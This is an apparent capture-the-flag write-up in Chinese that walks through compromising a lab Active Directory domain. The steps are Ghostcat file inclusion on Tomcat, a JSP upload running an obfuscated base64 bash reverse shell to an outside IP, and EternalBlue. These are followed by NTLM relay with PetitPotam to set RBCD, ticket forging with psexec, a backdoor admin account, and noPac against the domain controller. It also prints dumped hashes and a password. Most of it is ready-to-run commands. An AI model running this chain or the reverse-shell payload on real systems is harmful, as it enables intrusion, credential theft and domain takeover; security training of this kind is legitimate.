先用fscan扫一下

image-20231025193232597

就只扫到一个8080 8009端口和一个后台管理系统

image-20231025193313805

其实搜一下就会发现这是个tomcat 访问8080端口的 发现是个纯静态网页 没啥用 直接开扫目录

image-20231025193500422

image-20231025193843475

访问docs目录

image-20231025193919376

有洞 直接去找poc来打

https://github.com/00theway/Ghostcat-CNVD-2020-10487

1
python3 ajpShooter.py http://39.99.248.175:8080/ 8009  /WEB-INF/web.xml read

image-20231025194055367

发现有个UploadServlet路由 访问并且上传文件

1
2
3
4
5
6
7
8
9
10
<%
java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDIuMzkuMTEwLzMzODkgMD4mMQ}|{base64,-d}|{bash,-i}").getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
%>

上传文件

image-20231025194249510

这个上传路径就是关键了

1
/upload/95e3563074ba300f4e3f6a806d775b2c/20231025074306680.txt

然后用上面的工具直接来打

1
python3 ajpShooter.py http://39.99.248.175:8080/ 8009 /upload/95e3563074ba300f4e3f6a806d775b2c/20231025074306680.txt   eval

image-20231025194459228

root权限直接拿flag就行了

image-20231025194609005

然后收集信息 挂代理扫内网了

image-20231025194647224

image-20231025195054731

信息收集一下 然后整理一下

1
2
3
4
5
6
7
172.22.11.76  getshell机器

172.22.11.6 域控机器 DC DC XIAORANG\XIAORANG-DC

172.22.11.26 XIAORANG\XR-LCM3AE8B

172.22.11.45 MS17-010 XR-DESKTOP.xiaorang.lab

有个MS17 直接打就行了 (这里建议用本地msf打 不然会报错 原因是啥我也不知道)

1
2
3
4
5
proxychains4 msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid //这个是个关键了 可以配合proxychains4本地使用
set RHOSTS 172.22.11.45
exploit

image-20231025195542199

image-20231025200113679

然后直接导出本地hash值

1
2
3
4
5
XR-DESKTOP$  XIAORANG  0e1f6735dcf951891dbf20a4f0097423  4001c14de86e59f69085d140df5fada9ed2c19ca
yangmei XIAORANG 25e42ef4cc0ab6a8ff9e3edbbda91841 6b2838f81b57faed5d860adaf9401b0edb269a6f


yangmei xrihGHgoNZQ //获取到了有个明文和hash密码

yangmei这个用户可以rdp到ms17这个主机上 跑个sharphound没发现啥有用的信息 于是回到这个题目本身 发现给了个提示 WebClient

image-20231025201301198

(这就是为啥不直接打rbcd的原因 不能创建机器账户是其一 并且也不知道yangmei用户是否有写属性的)

扫描WebClient

1
proxychains crackmapexec smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -M webdav

只有26的这台机器存在Webclient服务

image-20231025202543946

image-20231025201701199

默认情况下, WebClient 仅对本地内部网 (Local Intranet) 或受信任的站点 (Trusted Sites) 列表中的目标自动使用当前用户凭据进行 NTLM 认证

扫描一下Petitpotam

1
proxychains crackmapexec smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -M petitpotam

image-20231025201745549

在奇安信的一篇文章中 总结了所有域强制认证的所有方法

https://forum.butian.net/share/1944

这下子是三台机器存在Petitpotam这个服务了

以下是参考https://www.cnblogs.com/backlion/p/17187375.html 这篇文章来进行编写的

这两个组合起来就会让人联想到一个攻击手法

无ADCS + Petitpotam + ntlm中继打法

攻击链:用petitpotam触发存在漏洞且开启了webclient服务的目标,利用petitpotam触发目标访问我们的http中继服务,目标将会使用webclient携带ntlm认证访问我们的中继,并且将其认证中继到ldap,获取到机器账户的身份,以机器账户的身份修改其自身的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性,允许我们的恶意机器账户模拟以及认证访问到目标机器 (RBCD)

  • 条件 — 目标机器需要开启webclient服务

  • 中继攻击手法

  • 实战中的中继打法只需要停掉80占用服务,开启端口转发(portfwd,CS在后续版本中添加了rportfwd_local,直接转发到客户端本地)
  • 本次演示类似实战的打法,不选择把impacket丢到入口ubuntu上面这种操作
  1. 中继攻击环境配置: 端口转发 + 代理
    我们目前需要把服务器的80,转发到客户端本地的80

直接上命令

1
2
3
ssh -i ~/.ssh/id_rsa root@39.99.248.175  -D 101.42.39.110:7777 -R \*:79:127.0.0.1:80

nohup socat TCP-LISTEN:80,fork,bind=0.0.0.0 TCP:localhost:79 &

记得写公钥到getshell主机上

1
2
3
4
5
6
7
8
#自己的机器上
ssh-keygen -t rsa -b 4096
cat ~/.ssh/id_rsa.pub
#弹的shell
echo "~/.ssh/id_rsa.pub的内容" > /root/.ssh/authorized_keyschmod 600 /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

ssh -i ~/.ssh/id_rsa root@39.99.248.175

image-20231025203310301

image-20231025203418194

image-20231025203405384

说明了成功将端口转发到本地了 我们直接使用本地来替代172.22.11.76这台机器

接着本地开启开启ntlmrelayx,利用前面拿下的XR-Desktop作为恶意机器账户设置RBCD,接着使用Petitpotam触发XR-LCM3AE8B认证到172.22.11.76

(用petitpotam触发存在漏洞且开启了webclient服务的目标,利用petitpotam触发目标访问我们的http中继服务,目标将会使用webclient携带ntlm认证访问我们的中继,并且将其认证中继到ldap,获取到机器账户的身份,以机器账户的身份修改其自身的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性,允许我们的恶意机器账户模拟以及认证访问到目标机器 (RBCD))

上面加黑的就是原理了

1
2
proxychains python3 ntlmrelayx.py -t ldap://172.22.11.6 --no-dump --no-da --no-acl --escalate-user 'xr-desktop$' --delegate-access
proxychains python3 PetitPotam.py -u yangmei -p 'xrihGHgoNZQ' -d xiaorang.lab ubuntu@80/pwn.txt 172.22.11.26

image-20231025204332096

image-20231025204500404

image-20231025204511857

成功使用PetitPotam这个方法 强制使26这台带有webclient的机器去访问 我们的中继服务(并且获取到的权限还将26这台机器的msDS-AllowedToActOnBehalfOfOtherIdentity 属性修改成45这台机器上 这样就变成了RBCD攻击)

接下来申请ST直接去访问26这台机器就行了 (这里的hash值是之前在打上面45这台机器的时候导出的)

1
2
3
proxychains impacket-getST -spn cifs/XR-LCM3AE8B.xiaorang.lab -impersonate administrator -hashes :0e1f6735dcf951891dbf20a4f0097423  xiaorang.lab/XR-Desktop\$ -dc-ip 172.22.11.6
export KRB5CCNAME=administrator.ccache
sudo vim /etc/hosts#把XR-LCM3AE8B.xiaorang.lab的ip加到hosts里

然后无密码连接上去就行了

1
proxychains python3 psexec.py xiaorang.lab/administrator@XR-LCM3AE8B.xiaorang.lab -k -no-pass -target-ip 172.22.11.26 -codec gbk

image-20231025205200436

这样的话就拿下第三台机器了

image-20231025205303611

拿下第三个flag

这里的话新创建个用户上去 mimikatz跑一下

1
2
net user Ke1nys qwer1234! /add
net localgroup administrators Ke1nys /add

这里建议直接用管理员启动 这样方便点

image-20231025205857192

抓取本地hash值

1
zhanghui      1232126b24cdf8c9bd2f788a9d7c7ed1

image-20231025205951016

image-20231025213428205

(这里不直接显示出来 不过不影响 这里就是说zhanghui是MA_Admin组的)

这里的话说zhanghui是MA_Admin组,对computer能够创建对象,能向域中添加机器账户,所以能打noPac

(很是抽象)—————————————-noPac的话我写了一篇文章 感兴趣的话可以去搜来看看

https://github.com/Ridter/noPac

(记得就是把整个文件下载下来运行 不要单拿nopac.py出来运行 否则会报错)

1
proxychains python3 noPac.py xiaorang.lab/zhanghui -hashes ':1232126b24cdf8c9bd2f788a9d7c7ed1' -dc-ip 172.22.11.6 --impersonate Administrator -create-child -use-ldap -shell

image-20231025210806151

属实一步到位 直接就新加用户然后改名打noPac

和rbcd是有点像的

image-20231025211006556

这里的话不用那个新添加计算机也行 因为我们本来域中就有机器账户 并且我们还有权限来修改其属性 所以直接用XR-DESKTOP.xiaorang.lab这台机器就行了

1
proxychains python3 noPac.py xiaorang.lab/'XR-DESKTOP$' -hashes ':0e1f6735dcf951891dbf20a4f0097423' -dc-ip 172.22.11.6 --impersonate Administrator -no-add -target-name 'XR-DESKTOP$' -old-hash ':0e1f6735dcf951891dbf20a4f0097423' -use-ldap -shell

image-20231025211319801

image-20231025211533457

题目给的提示